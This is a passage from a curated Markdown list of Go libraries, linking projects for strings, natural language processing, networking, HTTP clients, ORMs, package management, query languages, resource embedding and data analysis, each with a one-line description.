- [golang-templates/seed](https://github.com/golang-templates/seed) - Go application GitHub repository template.
- [insidieux/inizio](https://github.com/insidieux/inizio) - Golang project layout generator with plugins.
- [modern-go-application](https://github.com/sagikazarmark/modern-go-application) - Go application boilerplate and example applying modern practices.
- [pagoda](https://github.com/mikestefanello/pagoda) - Rapid, easy full-stack web development starter kit built in Go.
- [scaffold](https://github.com/catchplay/scaffold) - Scaffold generates a starter Go project layout. Lets you focus on business logic implemented.
- [wangyoucao577/go-project-layout](https://github.com/wangyoucao577/go-project-layout) - Set of practices and discussions on how to structure Go project layout.
**[⬆ back to top](#contents)**
### Strings
_Libraries for working with strings._
- [bexp](https://github.com/mkungla/bexp) - Go implementation of Brace Expansion mechanism to generate arbitrary strings.
- [caps](https://github.com/chanced/caps) - A case conversion library.
- [go-formatter](https://gitlab.com/tymonx/go-formatter) - Implements **replacement fields** surrounded by curly braces `{}` format strings.
- [gobeam/Stringy](https://github.com/gobeam/Stringy) - String manipulation library to convert string to camel case, snake case, kebab case / slugify etc.
- [strutil](https://github.com/ozgio/strutil) - String utilities.
- [sttr](https://github.com/abhimanyu003/sttr) - cross-platform, cli app to perform various operations on string.
- [xstrings](https://github.com/huandu/xstrings) - Collection of useful string functions ported from other languages.
**[⬆ back to top](#contents)**
### Uncategorized
_These libraries were placed here because none of the other categories seemed to fit._
- [anagent](https://github.com/mudler/anagent) - Minimalistic, pluggable Golang evloop/timer handler with dependency-injection.
- [antch](https://github.com/antchfx/antch) - A fast, powerful and extensible web crawling & scraping framework.
- [archiver](https://github.com/mholt/archiver) - Library and command for making and extracting .zip and .tar.gz archives.
- [autoflags](https://github.com/artyom/autoflags) - Go package to automatically define command line flags from struct fields.
- [avgRating](https://github.com/kirillDanshin/avgRating) - Calculate average score and rating based on Wilson Score Equation.
- [banner](https://github.com/dimiro1/banner) - Add beautiful banners into your Go applications.
- [base64Captcha](https://github.com/mojocn/base64Captcha) - Base64captch supports digit, number, alphabet, arithmetic, audio and digit-alphabet captcha.
- [basexx](https://github.com/bobg/basexx) - Convert to, from, and between digit strings in various number bases.
- [battery](https://github.com/distatus/battery) - Cross-platform, normalized battery information library.
- [bitio](https://github.com/icza/bitio) - Highly optimized bit-level Reader and Writer for Go.
- [browscap_go](https://github.com/digitalcrab/browscap_go) - GoLang Library for [Browser Capabilities Project](https://browscap.org/).
- [captcha](https://github.com/steambap/captcha) - Package captcha provides an easy to use, unopinionated API for captcha generation.
- [common](https://github.com/kubeservice-stack/common) - A library for server framework.
- [conv](https://github.com/cstockton/go-conv) - Package conv provides fast and intuitive conversions across Go types.
- [datacounter](https://github.com/miolini/datacounter) - Go counters for readers/writer/http.ResponseWriter.
- [faker](https://github.com/neotoolkit/faker) - Fake data generator.
- [faker](https://github.com/pioz/faker) - Random fake data and struct generator for Go.
- [ffmt](https://github.com/go-ffmt/ffmt) - Beautify data display for Humans.
- [gatus](https://github.com/TwinProduction/gatus) - Automated service health dashboard.
- [go-commandbus](https://github.com/lana/go-commandbus) - A slight and pluggable command-bus for Go.
- [go-commons-pool](https://github.com/jolestar/go-commons-pool) - Generic object pool for Golang.
- [go-openapi](https://github.com/go-openapi) - Collection of packages to parse and utilize open-api schemas.
- [go-resiliency](https://github.com/eapache/go-resiliency) - Resiliency patterns for golang.
- [go-unarr](https://github.com/gen2brain/go-unarr) - Decompression library for RAR, TAR, ZIP and 7z archives.
- [gofakeit](https://github.com/brianvoe/gofakeit) - Random data generator written in go.
- [gommit](https://github.com/antham/gommit) - Analyze git commit messages to ensure they follow defined patterns.
- [gopsutil](https://github.com/shirou/gopsutil) - Cross-platform library for retrieving process and system utilization(CPU, Memory, Disks, etc).
- [gosh](https://github.com/osamingo/gosh) - Provide Go Statistics Handler, Struct, Measure Method.
- [gosms](https://github.com/haxpax/gosms) - Your own local SMS gateway in Go that can be used to send SMS.
- [gotoprom](https://github.com/cabify/gotoprom) - Type-safe metrics builder wrapper library for the official Prometheus client.
- [gountries](https://github.com/pariz/gountries) - Package that exposes country and subdivision data.
- [gtree](https://github.com/ddddddO/gtree) - Provide CLI, Package and Web for tree output and directories creation from Markdown or programmatically.
- [health](https://github.com/alexliesenfeld/health) - A simple and flexible health check library for Go.
- [health](https://github.com/dimiro1/health) - Easy to use, extensible health check library.
- [healthcheck](https://github.com/etherlabsio/healthcheck) - An opinionated and concurrent health-check HTTP handler for RESTful services.
- [hostutils](https://github.com/Wing924/hostutils) - A golang library for packing and unpacking FQDNs list.
- [indigo](https://github.com/osamingo/indigo) - Distributed unique ID generator of using Sonyflake and encoded by Base58.
- [lk](https://github.com/hyperboloide/lk) - A simple licensing library for golang.
- [llvm](https://github.com/llir/llvm) - Library for interacting with LLVM IR in pure Go.
- [metrics](https://github.com/pascaldekloe/metrics) - Library for metrics instrumentation and Prometheus exposition.
- [morse](https://github.com/alwindoss/morse) - Library to convert to and from morse code.
- [numa](https://github.com/lrita/numa) - NUMA is a utility library, which is written in go. It help us to write some NUMA-AWARED code.
- [openapi](https://github.com/neotoolkit/openapi) - OpenAPI 3.x parser.
- [pdfgen](https://github.com/hyperboloide/pdfgen) - HTTP service to generate PDF from Json requests.
- [persian](https://github.com/mavihq/persian) - Some utilities for Persian language in go.
- [sandid](https://github.com/aofei/sandid) - Every grain of sand on earth has its own ID.
- [shellwords](https://github.com/Wing924/shellwords) - A Golang library to manipulate strings according to the word parsing rules of the UNIX Bourne shell.
- [shortid](https://github.com/teris-io/shortid) - Distributed generation of super short, unique, non-sequential, URL friendly IDs.
- [shoutrrr](https://github.com/containrrr/shoutrrr) - Notification library providing easy access to various messaging services like slack, mattermost, gotify and smtp among others.
- [sitemap-format](https://github.com/mingard/sitemap-format) - A simple sitemap generator, with a little syntactic sugar.
- [stateless](https://github.com/qmuntal/stateless) - A fluent library for creating state machines.
- [stats](https://github.com/go-playground/stats) - Monitors Go MemStats + System stats such as Memory, Swap and CPU and sends via UDP anywhere you want for logging etc...
- [turtle](https://github.com/hackebrot/turtle) - Emojis for Go.
- [url-shortener](https://github.com/pantrif/url-shortener) - A modern, powerful, and robust URL shortener microservice with mysql support.
- [VarHandler](https://github.com/azr/generators/tree/master/varhandler) - Generate boilerplate http input and output handling.
- [varint](https://github.com/chmike/varint) - A faster varying length integer encoder/decoder than the one provided in the standard library.
- [xdg](https://github.com/rkoesters/xdg) - FreeDesktop.org (xdg) Specs implemented in Go.
- [xkg](https://github.com/go-xkg/xkg) - X Keyboard Grabber.
- [xz](https://github.com/ulikunitz/xz) - Pure golang package for reading and writing xz-compressed files.
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## Natural Language Processing
_Libraries for working with human languages._
See also [Text Processing](#text-processing) and [Text Analysis](#text-analysis).
### Language Detection
- [detectlanguage](https://github.com/detectlanguage/detectlanguage-go) - Language Detection API Go Client. Supports batch requests, short phrase or single word language detection.
- [getlang](https://github.com/rylans/getlang) - Fast natural language detection package.
- [guesslanguage](https://github.com/endeveit/guesslanguage) - Functions to determine the natural language of a unicode text.
- [whatlanggo](https://github.com/abadojack/whatlanggo) - Natural language detection package for Go. Supports 84 languages and 24 scripts (writing systems e.g. Latin, Cyrillic, etc).
### Morphological Analyzers
- [go-stem](https://github.com/agonopol/go-stem) - Implementation of the porter stemming algorithm.
- [go2vec](https://github.com/danieldk/go2vec) - Reader and utility functions for word2vec embeddings.
- [golibstemmer](https://github.com/rjohnsondev/golibstemmer) - Go bindings for the snowball libstemmer library including porter 2.
- [gosentiwordnet](https://github.com/dinopuguh/gosentiwordnet) - Sentiment analyzer using sentiwordnet lexicon in Go.
- [govader](https://github.com/jonreiter/govader) - Go implementation of [VADER Sentiment Analysis](https://github.com/cjhutto/vaderSentiment).
- [govader-backend](https://github.com/PIMPfiction/govader_backend) - Microservice implementation of [GoVader](https://github.com/jonreiter/govader).
- [kagome](https://github.com/ikawaha/kagome) - JP morphological analyzer written in pure Go.
- [libtextcat](https://github.com/goodsign/libtextcat) - Cgo binding for libtextcat C library. Guaranteed compatibility with version 2.2.
- [nlp](https://github.com/Shixzie/nlp) - Extract values from strings and fill your structs with nlp.
- [nlp](https://github.com/james-bowman/nlp) - Go Natural Language Processing library supporting LSA (Latent Semantic Analysis).
- [paicehusk](https://github.com/rookii/paicehusk) - Golang implementation of the Paice/Husk Stemming Algorithm.
- [porter](https://github.com/a2800276/porter) - This is a fairly straightforward port of Martin Porter's C implementation of the Porter stemming algorithm.
- [porter2](https://github.com/zhenjl/porter2) - Really fast Porter 2 stemmer.
- [RAKE.go](https://github.com/afjoseph/RAKE.Go) - Go port of the Rapid Automatic Keyword Extraction Algorithm (RAKE).
- [snowball](https://github.com/goodsign/snowball) - Snowball stemmer port (cgo wrapper) for Go. Provides word stem extraction functionality [Snowball native](http://snowball.tartarus.org/).
- [spaGO](https://github.com/nlpodyssey/spago) - Self-contained Machine Learning and Natural Language Processing library in Go.
- [spelling-corrector](https://github.com/jorelosorio/spellingcorrector) - A spelling corrector for the Spanish language or create your own.
### Slugifiers
- [go-slugify](https://github.com/mozillazg/go-slugify) - Make pretty slug with multiple languages support.
- [slug](https://github.com/gosimple/slug) - URL-friendly slugify with multiple languages support.
- [Slugify](https://github.com/avelino/slugify) - Go slugify application that handles string.
### Tokenizers
- [gojieba](https://github.com/yanyiwu/gojieba) - This is a Go implementation of [jieba](https://github.com/fxsjy/jieba) which a Chinese word splitting algorithm.
- [gotokenizer](https://github.com/xujiajun/gotokenizer) - A tokenizer based on the dictionary and Bigram language models for Golang. (Now only support chinese segmentation)
- [gse](https://github.com/go-ego/gse) - Go efficient text segmentation; support english, chinese, japanese and other.
- [MMSEGO](https://github.com/awsong/MMSEGO) - This is a GO implementation of [MMSEG](http://technology.chtsai.org/mmseg/) which a Chinese word splitting algorithm.
- [prose](https://github.com/jdkato/prose) - Library for text processing that supports tokenization, part-of-speech tagging, named-entity extraction, and more. English only.
- [segment](https://github.com/blevesearch/segment) - Go library for performing Unicode Text Segmentation as described in [Unicode Standard Annex #29](https://www.unicode.org/reports/tr29/)
- [sentences](https://github.com/neurosnap/sentences) - Sentence tokenizer: converts text into a list of sentences.
- [shamoji](https://github.com/osamingo/shamoji) - The shamoji is word filtering package written in Go.
- [stemmer](https://github.com/dchest/stemmer) - Stemmer packages for Go programming language. Includes English and German stemmers.
- [textcat](https://github.com/pebbe/textcat) - Go package for n-gram based text categorization, with support for utf-8 and raw text.
### Translation
- [go-i18n](https://github.com/nicksnyder/go-i18n/) - Package and an accompanying tool to work with localized text.
- [go-localize](https://github.com/m1/go-localize) - Simple and easy to use i18n (Internationalization and localization) engine - used for translating locale strings.
- [go-mystem](https://github.com/dveselov/mystem) - CGo bindings to Yandex.Mystem - russian morphology analyzer.
- [go-pinyin](https://github.com/mozillazg/go-pinyin) - CN Hanzi to Hanyu Pinyin converter.
- [gotext](https://github.com/leonelquinteros/gotext) - GNU gettext utilities for Go.
- [icu](https://github.com/goodsign/icu) - Cgo binding for icu4c C library detection and conversion functions. Guaranteed compatibility with version 50.1.
- [iuliia-go](https://github.com/mehanizm/iuliia-go) - Transliterate Cyrillic → Latin in every possible way.
- [spreak](https://github.com/vorlif/spreak) - Flexible translation and humanization library for Go, based on the concepts behind gettext.
- [t](https://github.com/youthlin/t) - Another i18n pkg for golang, which follows GNU gettext style and supports .po/.mo files: `t.T (gettext)`, `t.N (ngettext)`, etc. And it contains a cmd tool [xtemplate](https://github.com/youthlin/t/blob/main/cmd/xtemplate), which can extract messages as a pot file from text/html template.
### Transliteration
- [enca](https://github.com/endeveit/enca) - Minimal cgo bindings for [libenca](https://cihar.com/software/enca/), which detects character encodings.
- [go-unidecode](https://github.com/mozillazg/go-unidecode) - ASCII transliterations of Unicode text.
- [gounidecode](https://github.com/fiam/gounidecode) - Unicode transliterator (also known as unidecode) for Go.
- [transliterator](https://github.com/alexsergivan/transliterator) - Provides one-way string transliteration with supporting of language-specific transliteration rules.
**[⬆ back to top](#contents)**
## Networking
_Libraries for working with various layers of the network._
- [arp](https://github.com/mdlayher/arp) - Package arp implements the ARP protocol, as described in RFC 826.
- [buffstreams](https://github.com/stabbycutyou/buffstreams) - Streaming protocolbuffer data over TCP made easy.
- [canopus](https://github.com/zubairhamed/canopus) - CoAP Client/Server implementation (RFC 7252).
- [cidranger](https://github.com/yl2chen/cidranger) - Fast IP to CIDR lookup for Go.
- [dhcp6](https://github.com/mdlayher/dhcp6) - Package dhcp6 implements a DHCPv6 server, as described in RFC 3315.
- [dns](https://github.com/miekg/dns) - Go library for working with DNS.
- [dnsmonster](https://github.com/mosajjal/dnsmonster) - Passive DNS Capture/Monitoring Framework.
- [easytcp](https://github.com/DarthPestilane/easytcp) - A light-weight TCP framework written in Go (Golang), built with message router. EasyTCP helps you build a TCP server easily fast and less painful.
- [ether](https://github.com/songgao/ether) - Cross-platform Go package for sending and receiving ethernet frames.
- [ethernet](https://github.com/mdlayher/ethernet) - Package ethernet implements marshaling and unmarshaling of IEEE 802.3 Ethernet II frames and IEEE 802.1Q VLAN tags.
- [event](https://github.com/cheng-zhongliang/event) - Simple I/O event notification library wirtten in Golang.
- [fasthttp](https://github.com/valyala/fasthttp) - Package fasthttp is a fast HTTP implementation for Go, up to 10 times faster than net/http.
- [fortio](https://github.com/fortio/fortio) - Load testing library and command line tool, advanced echo server and web UI. Allows to specify a set query-per-second load and record latency histograms and other useful stats and graph them. Tcp, Http, gRPC.
- [ftp](https://github.com/jlaffaye/ftp) - Package ftp implements a FTP client as described in [RFC 959](https://tools.ietf.org/html/rfc959).
- [ftpserverlib](https://github.com/fclairamb/ftpserverlib) - Fully featured FTP server library.
- [fullproxy](https://github.com/shoriwe/fullproxy) - A fully featured scriptable and daemon configurable proxy and pivoting toolkit with SOCKS5, HTTP, raw ports and reverse proxy protocols.
- [gaio](https://github.com/xtaci/gaio) - High performance async-io networking for Golang in proactor mode.
- [gev](https://github.com/Allenxuxu/gev) - gev is a lightweight, fast non-blocking TCP network library based on Reactor mode.
- [gldap](https://github.com/jimlambrt/gldap) - gldap provides an ldap server implementation and you provide handlers for its ldap operations.
- [gmqtt](https://github.com/DrmagicE/gmqtt) - Gmqtt is a flexible, high-performance MQTT broker library that fully implements the MQTT protocol V3.1.1.
- [gnet](https://github.com/panjf2000/gnet) - `gnet` is a high-performance, lightweight, non-blocking, event-driven networking framework written in pure Go.
- [gnet](https://github.com/fish-tennis/gnet) - `gnet` is a high-performance networking framework,especially for game servers.
- [gNxI](https://github.com/google/gnxi) - A collection of tools for Network Management that use the gNMI and gNOI protocols.
- [go-getter](https://github.com/hashicorp/go-getter) - Go library for downloading files or directories from various sources using a URL.
- [go-powerdns](https://github.com/joeig/go-powerdns) - PowerDNS API bindings for Golang.
- [go-sse](https://github.com/lampctl/go-sse) - Go client and server implementation of HTML server-sent events.
- [go-stun](https://github.com/ccding/go-stun) - Go implementation of the STUN client (RFC 3489 and RFC 5389).
- [gobgp](https://github.com/osrg/gobgp) - BGP implemented in the Go Programming Language.
- [golibwireshark](https://github.com/sunwxg/golibwireshark) - Package golibwireshark use libwireshark library to decode pcap file and analyse dissection data.
- [gopacket](https://github.com/google/gopacket) - Go library for packet processing with libpcap bindings.
- [gopcap](https://github.com/akrennmair/gopcap) - Go wrapper for libpcap.
- [goshark](https://github.com/sunwxg/goshark) - Package goshark use tshark to decode IP packet and create data struct to analyse packet.
- [gosnmp](https://github.com/soniah/gosnmp) - Native Go library for performing SNMP actions.
- [gotcp](https://github.com/gansidui/gotcp) - Go package for quickly writing tcp applications.
- [grab](https://github.com/cavaliercoder/grab) - Go package for managing file downloads.
- [graval](https://github.com/koofr/graval) - Experimental FTP server framework.
- [gws](https://github.com/lxzan/gws) - High-Performance WebSocket Server & Client With AsyncIO Supporting .
- [HTTPLab](https://github.com/gchaincl/httplab) - HTTPLabs let you inspect HTTP requests and forge responses.
- [httpproxy](https://github.com/wzshiming/httpproxy) - HTTP proxy handler and dialer.
- [iplib](https://github.com/c-robinson/iplib) - Library for working with IP addresses (net.IP, net.IPNet), inspired by python [ipaddress](https://docs.python.org/3/library/ipaddress.html) and ruby [ipaddr](https://ruby-doc.org/stdlib-2.5.1/libdoc/ipaddr/rdoc/IPAddr.html)
- [jazigo](https://github.com/udhos/jazigo) - Jazigo is a tool written in Go for retrieving configuration for multiple network devices.
- [kcp-go](https://github.com/xtaci/kcp-go) - KCP - Fast and Reliable ARQ Protocol.
- [kcptun](https://github.com/xtaci/kcptun) - Extremely simple & fast udp tunnel based on KCP protocol.
- [lhttp](https://github.com/fanux/lhttp) - Powerful websocket framework, build your IM server more easily.
- [linkio](https://github.com/ian-kent/linkio) - Network link speed simulation for Reader/Writer interfaces.
- [llb](https://github.com/kirillDanshin/llb) - It's a very simple but quick backend for proxy servers. Can be useful for fast redirection to predefined domain with zero memory allocation and fast response.
- [mdns](https://github.com/hashicorp/mdns) - Simple mDNS (Multicast DNS) client/server library in Golang.
- [mqttPaho](https://eclipse.org/paho/clients/golang/) - The Paho Go Client provides an MQTT client library for connection to MQTT brokers via TCP, TLS or WebSockets.
- [nbio](https://github.com/lesismal/nbio) - Pure Go 1000k+ connections solution, support tls/http1.x/websocket and basically compatible with net/http, with high-performance and low memory cost, non-blocking, event-driven, easy-to-use.
- [netpoll](https://github.com/cloudwego/netpoll) - A high-performance non-blocking I/O networking framework, which focused on RPC scenarios, developed by ByteDance.
- [NFF-Go](https://github.com/intel-go/nff-go) - Framework for rapid development of performant network functions for cloud and bare-metal (former YANFF).
- [packet](https://github.com/aerogo/packet) - Send packets over TCP and UDP. It can buffer messages and hot-swap connections if needed.
- [panoptes-stream](https://github.com/yahoo/panoptes-stream) - A cloud native distributed streaming network telemetry (gNMI, Juniper JTI and Cisco MDT).
- [peerdiscovery](https://github.com/schollz/peerdiscovery) - Pure Go library for cross-platform local peer discovery using UDP multicast.
- [portproxy](https://github.com/aybabtme/portproxy) - Simple TCP proxy which adds CORS support to API's which don't support it.
- [publicip](https://github.com/polera/publicip) - Package publicip returns your public facing IPv4 address (internet egress).
- [quic-go](https://github.com/lucas-clemente/quic-go) - An implementation of the QUIC protocol in pure Go.
- [raw](https://github.com/mdlayher/raw) - Package raw enables reading and writing data at the device driver level for a network interface.
- [sftp](https://github.com/pkg/sftp) - Package sftp implements the SSH File Transfer Protocol as described in <https://filezilla-project.org/specs/draft-ietf-secsh-filexfer-02.txt>.
- [ssh](https://github.com/gliderlabs/ssh) - Higher-level API for building SSH servers (wraps crypto/ssh).
- [sslb](https://github.com/eduardonunesp/sslb) - It's a Super Simples Load Balancer, just a little project to achieve some kind of performance.
- [stun](https://github.com/go-rtc/stun) - Go implementation of RFC 5389 STUN protocol.
- [tcp_server](https://github.com/firstrow/tcp_server) - Go library for building tcp servers faster.
- [tspool](https://github.com/two/tspool) - A TCP Library use worker pool to improve performance and protect your server.
- [utp](https://github.com/anacrolix/utp) - Go uTP micro transport protocol implementation.
- [vssh](https://github.com/yahoo/vssh) - Go library for building network and server automation over SSH protocol.
- [water](https://github.com/songgao/water) - Simple TUN/TAP library.
- [webrtc](https://github.com/pions/webrtc) - A pure Go implementation of the WebRTC API.
- [winrm](https://github.com/masterzen/winrm) - Go WinRM client to remotely execute commands on Windows machines.
- [xtcp](https://github.com/xfxdev/xtcp) - TCP Server Framework with simultaneous full duplex communication, graceful shutdown, and custom protocol.
**[⬆ back to top](#contents)**
### HTTP Clients
_Libraries for making HTTP requests._
- [gentleman](https://github.com/h2non/gentleman) - Full-featured plugin-driven HTTP client library.
- [go-cleanhttp](https://github.com/hashicorp/go-cleanhttp) - Get easily stdlib HTTP client, which does not share any state with other clients.
- [go-http-client](https://github.com/bozd4g/go-http-client) - Make http calls simply and easily.
- [go-otelroundtripper](https://github.com/NdoleStudio/go-otelroundtripper) - Go http.RoundTripper that emits open telemetry metrics for HTTP requests.
- [go-req](https://github.com/wenerme/go-req) - Declarative golang HTTP client.
- [go-retryablehttp](https://github.com/hashicorp/go-retryablehttp) - Retryable HTTP client in Go.
- [go-zoox/fetch](https://github.com/go-zoox/fetch) - A Powerful, Lightweight, Easy Http Client, inspired by Web Fetch API.
- [grequests](https://github.com/levigross/grequests) - A Go "clone" of the great and famous Requests library.
- [heimdall](https://github.com/gojektech/heimdall) - An enhanced http client with retry and hystrix capabilities.
- [httpretry](https://github.com/ybbus/httpretry) - Enriches the default go HTTP client with retry functionality.
- [pester](https://github.com/sethgrid/pester) - Go HTTP client calls with retries, backoff, and concurrency.
- [req](https://github.com/imroc/req) - Simple Go HTTP client with Black Magic (Less code and More efficiency).
- [request](https://github.com/monaco-io/request) - HTTP client for golang. If you have experience about axios or requests, you will love it. No 3rd dependency.
- [requests](https://github.com/carlmjohnson/requests) - HTTP requests for Gophers. Uses context.Context and doesn't hide the underlying net/http.Client, making it compatible with standard Go APIs. Also includes testing tools.
- [resty](https://github.com/go-resty/resty) - Simple HTTP and REST client for Go inspired by Ruby rest-client.
- [rq](https://github.com/ddo/rq) - A nicer interface for golang stdlib HTTP client.
- [sling](https://github.com/dghubble/sling) - Sling is a Go HTTP client library for creating and sending API requests.
**[⬆ back to top](#contents)**
## OpenGL
_Libraries for using OpenGL in Go._
- [gl](https://github.com/go-gl/gl) - Go bindings for OpenGL (generated via glow).
- [glfw](https://github.com/go-gl/glfw) - Go bindings for GLFW 3.
- [go-glmatrix](https://github.com/technohippy/go-glmatrix) - Go port of [glMatrix](https://glmatrix.net/) library.
- [goxjs/gl](https://github.com/goxjs/gl) - Go cross-platform OpenGL bindings (OS X, Linux, Windows, browsers, iOS, Android).
- [goxjs/glfw](https://github.com/goxjs/glfw) - Go cross-platform glfw library for creating an OpenGL context and receiving events.
- [mathgl](https://github.com/go-gl/mathgl) - Pure Go math package specialized for 3D math, with inspiration from GLM.
**[⬆ back to top](#contents)**
## ORM
_Libraries that implement Object-Relational Mapping or datamapping techniques._
- [bun](https://github.com/uptrace/bun) - SQL-first Golang ORM. Successor of go-pg.
- [cacheme](https://github.com/Yiling-J/cacheme-go) - Schema based, typed Redis caching/memoize framework for Go.
- [ent](https://github.com/facebook/ent) - An entity framework for Go. Simple, yet powerful ORM for modeling and querying data.
- [go-firestorm](https://github.com/jschoedt/go-firestorm) - A simple ORM for Google/Firebase Cloud Firestore.
- [go-sql](https://github.com/rushteam/gosql) - A easy ORM for mysql.
- [go-sqlbuilder](https://github.com/huandu/go-sqlbuilder) - A flexible and powerful SQL string builder library plus a zero-config ORM.
- [go-store](https://github.com/gosuri/go-store) - Simple and fast Redis backed key-value store library for Go.
- [golobby/orm](https://github.com/golobby/orm) - Simple, fast, type-safe, generic orm for developer happiness.
- [GORM](https://github.com/go-gorm/gorm) - The fantastic ORM library for Golang, aims to be developer friendly.
- [gormt](https://github.com/xxjwxc/gormt) - Mysql database to golang gorm struct.
- [gorp](https://github.com/go-gorp/gorp) - Go Relational Persistence, ORM-ish library for Go.
- [grimoire](https://github.com/Fs02/grimoire) - Grimoire is a database access layer and validation for golang. (Support: MySQL, PostgreSQL and SQLite3).
- [lore](https://github.com/abrahambotros/lore) - Simple and lightweight pseudo-ORM/pseudo-struct-mapping environment for Go.
- [marlow](https://github.com/marlow/marlow) - Generated ORM from project structs for compile time safety assurances.
- [pop/soda](https://github.com/gobuffalo/pop) - Database migration, creation, ORM, etc... for MySQL, PostgreSQL, and SQLite.
- [Prisma](https://github.com/prisma/prisma-client-go) - Prisma Client Go, Typesafe database access for Go.
- [reform](https://github.com/go-reform/reform) - Better ORM for Go, based on non-empty interfaces and code generation.
- [rel](https://github.com/go-rel/rel) - Modern Database Access Layer for Golang - Testable, Extendable and Crafted Into a Clean and Elegant API.
- [SQLBoiler](https://github.com/volatiletech/sqlboiler) - ORM generator. Generate a featureful and blazing-fast ORM tailored to your database schema.
- [upper.io/db](https://github.com/upper/db) - Single interface for interacting with different data sources through the use of adapters that wrap mature database drivers.
- [XORM](https://gitea.com/xorm/xorm) - Simple and powerful ORM for Go. (Support: MySQL, MyMysql, PostgreSQL, Tidb, SQLite3, MsSql and Oracle).
- [Zoom](https://github.com/albrow/zoom) - Blazing-fast datastore and querying engine built on Redis.
**[⬆ back to top](#contents)**
## Package Management
_Official tooling for dependency and package management_
- [go modules](https://golang.org/cmd/go/#hdr-Modules__module_versions__and_more) - Modules are the unit of source code interchange and versioning. The go command has direct support for working with modules, including recording and resolving dependencies on other modules.
_Official experimental tooling for package management_
- [dep](https://github.com/golang/dep) - Go dependency tool.
- [vgo](https://go.googlesource.com/vgo/) - Versioned Go.
_Unofficial libraries for package and dependency management._
- [glide](https://github.com/Masterminds/glide) - Manage your golang vendor and vendored packages with ease. Inspired by tools like Maven, Bundler, and Pip.
- [godep](https://github.com/tools/godep) - dependency tool for go, godep helps build packages reproducibly by fixing their dependencies.
- [gom](https://github.com/mattn/gom) - Go Manager - bundle for go.
- [goop](https://github.com/nitrous-io/goop) - Simple dependency manager for Go (golang), inspired by Bundler.
- [gop](https://github.com/lunny/gop) - Build and manage your Go applications out of GOPATH.
- [gopm](https://github.com/gpmgo/gopm) - Go Package Manager.
- [govendor](https://github.com/kardianos/govendor) - Go Package Manager. Go vendor tool that works with the standard vendor file.
- [gpm](https://github.com/pote/gpm) - Barebones dependency manager for Go.
- [gup](https://github.com/nao1215/gup) - Update binaries installed by "go install".
- [johnny-deps](https://github.com/VividCortex/johnny-deps) - Minimal dependency version using Git.
- [modgv](https://github.com/lucasepe/modgv) - Converts 'go mod graph' output into Graphviz's DOT language.
- [mvn-golang](https://github.com/raydac/mvn-golang) - plugin that provides way for auto-loading of Golang SDK, dependency management and start build environment in Maven project infrastructure.
- [nut](https://github.com/jingweno/nut) - Vendor Go dependencies.
- [VenGO](https://github.com/DamnWidget/VenGO) - create and manage exportable isolated go virtual environments.
**[⬆ back to top](#contents)**
## Performance
- [go-instrument](https://github.com/nikolaydubina/go-instrument) - Automatically add spans to all methods and functions.
- [jaeger](https://github.com/jaegertracing/jaeger) - A distributed tracing system.
- [pixie](https://github.com/pixie-labs/pixie) - No instrumentation tracing for Golang applications via eBPF.
- [profile](https://github.com/pkg/profile) - Simple profiling support package for Go.
- [statsviz](https://github.com/arl/statsviz) - Live visualization of your Go application runtime statistics.
- [tracer](https://github.com/kamilsk/tracer) - Simple, lightweight tracing.
**[⬆ back to top](#contents)**
## Query Language
- [api-fu](https://github.com/ccbrown/api-fu) - Comprehensive GraphQL implementation.
- [dasel](https://github.com/tomwright/dasel) - Query and update data structures using selectors from the command line. Comparable to jq/yq but supports JSON, YAML, TOML and XML with zero runtime dependencies.
- [gojsonq](https://github.com/thedevsaddam/gojsonq) - A simple Go package to Query over JSON Data.
- [goven](https://github.com/SeldonIO/goven) - A drop-in query language for any database schema.
- [gqlgen](https://github.com/99designs/gqlgen) - go generate based graphql server library.
- [grapher](https://github.com/reaganiwadha/grapher) - A GraphQL field builder utilizing Go generics with extra utilities and features.
- [graphql](https://github.com/tmc/graphql) - graphql parser + utilities.
- [graphql](https://github.com/neelance/graphql-go) - GraphQL server with a focus on ease of use.
- [graphql-go](https://github.com/graphql-go/graphql) - Implementation of GraphQL for Go.
- [gws](https://github.com/Zaba505/gws) - Apollos' "GraphQL over Websocket" client and server implementation.
- [jsonpath](https://github.com/AsaiYusuke/jsonpath) - A query library for retrieving part of JSON based on JSONPath syntax.
- [jsonql](https://github.com/elgs/jsonql) - JSON query expression library in Golang.
- [jsonslice](https://github.com/bhmj/jsonslice) - Jsonpath queries with advanced filters.
- [rql](https://github.com/a8m/rql) - Resource Query Language for REST API.
- [rqp](https://github.com/timsolov/rest-query-parser) - Query Parser for REST API. Filtering, validations, both `AND`, `OR` operations are supported directly in the query.
- [straf](https://github.com/SonicRoshan/straf) - Easily Convert Golang structs to GraphQL objects.
**[⬆ back to top](#contents)**
## Resource Embedding
- [debme](https://github.com/leaanthony/debme) - Create an `embed.FS` from an existing `embed.FS` subdirectory.
- [esc](https://github.com/mjibson/esc) - Embeds files into Go programs and provides http.FileSystem interfaces to them.
- [fileb0x](https://github.com/UnnoTed/fileb0x) - Simple tool to embed files in go with focus on "customization" and ease to use.
- [go-resources](https://github.com/omeid/go-resources) - Unfancy resources embedding with Go.
- [go.rice](https://github.com/GeertJohan/go.rice) - go.rice is a Go package that makes working with resources such as HTML, JS, CSS, images, and templates very easy.
- [mule](https://github.com/wlbr/mule) - Embed external resources like images, movies ... into Go source code to create single file binaries using `go generate`. Focused on simplicity.
- [packr](https://github.com/gobuffalo/packr) - The simple and easy way to embed static files into Go binaries.
- [rebed](https://github.com/soypat/rebed) - Recreate folder structures and files from Go 1.16's `embed.FS` type
- [statics](https://github.com/go-playground/statics) - Embeds static resources into go files for single binary compilation + works with http.FileSystem + symlinks.
- [statik](https://github.com/rakyll/statik) - Embeds static files into a Go executable.
- [templify](https://github.com/wlbr/templify) - Embed external template files into Go code to create single file binaries.
- [vfsgen](https://github.com/shurcooL/vfsgen) - Generates a vfsdata.go file that statically implements the given virtual filesystem.
**[⬆ back to top](#contents)**
## Science and Data Analysis
_Libraries for scientific computing and data analyzing._
- [assocentity](https://github.com/ndabAP/assocentity) - Package assocentity returns the average distance from words to a given entity.
- [bradleyterry](https://github.com/seanhagen/bradleyterry) - Provides a Bradley-Terry Model for pairwise comparisons.
- [calendarheatmap](https://github.com/nikolaydubina/calendarheatmap) - Calendar heatmap in plain Go inspired by Github contribution activity.
- [chart](https://github.com/vdobler/chart) - Simple Chart Plotting library for Go. Supports many graphs types.
- [dataframe-go](https://github.com/rocketlaunchr/dataframe-go) - Dataframes for machine-learning and statistics (similar to pandas).
- [decimal](https://github.com/db47h/decimal) - Package decimal implements arbitrary-precision decimal floating-point arithmetic.
- [evaler](https://github.com/soniah/evaler) - Simple floating point arithmetic expression evaluator.
- [ewma](https://github.com/VividCortex/ewma) - Exponentially-weighted moving averages.
